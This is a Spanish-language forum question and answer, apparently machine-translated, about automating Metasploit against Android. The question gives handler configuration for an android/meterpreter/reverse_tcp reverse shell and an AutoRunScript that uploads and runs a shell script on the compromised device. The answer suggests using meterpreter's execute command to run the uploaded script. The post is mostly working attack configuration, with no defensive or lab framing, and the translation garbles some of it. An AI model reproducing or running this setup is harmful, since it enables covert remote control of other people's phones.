Programación Metasploit

1

Intento hacer un Metasploit AutoRunScript para Android. El primer archivo .rc tiene esta configuración

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

Este es el segundo archivo .rc (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files 
sh and.sh
exit

El problema es después de que el comando shell es executed the sh and.sh y los comandos exit no se ejecutan. Si escribo manualmente los comandos sh and.sh y exit está funcionando. La pregunta es ¿cómo puedo hacer que se ejecuten estos comandos? ¡Cualquier sugerencia es bienvenida y apreciada!

    
pregunta jnass 10.09.2018 - 18:43
fuente

1 respuesta

0

Es posible que el shell se atasque una vez que se suelta.

Intente ejecutar su comando a través del comando incorporado de shell meterpreter.

ejecuta -i -f "/ bin / bash /data/data/com.metasploit.stage/files/and.sh"

No he probado este comando exacto con un espacio en él, pero te iniciará en la dirección correcta.

    
respondido por el standarduser 25.10.2018 - 17:24
fuente

Lea otras preguntas en las etiquetas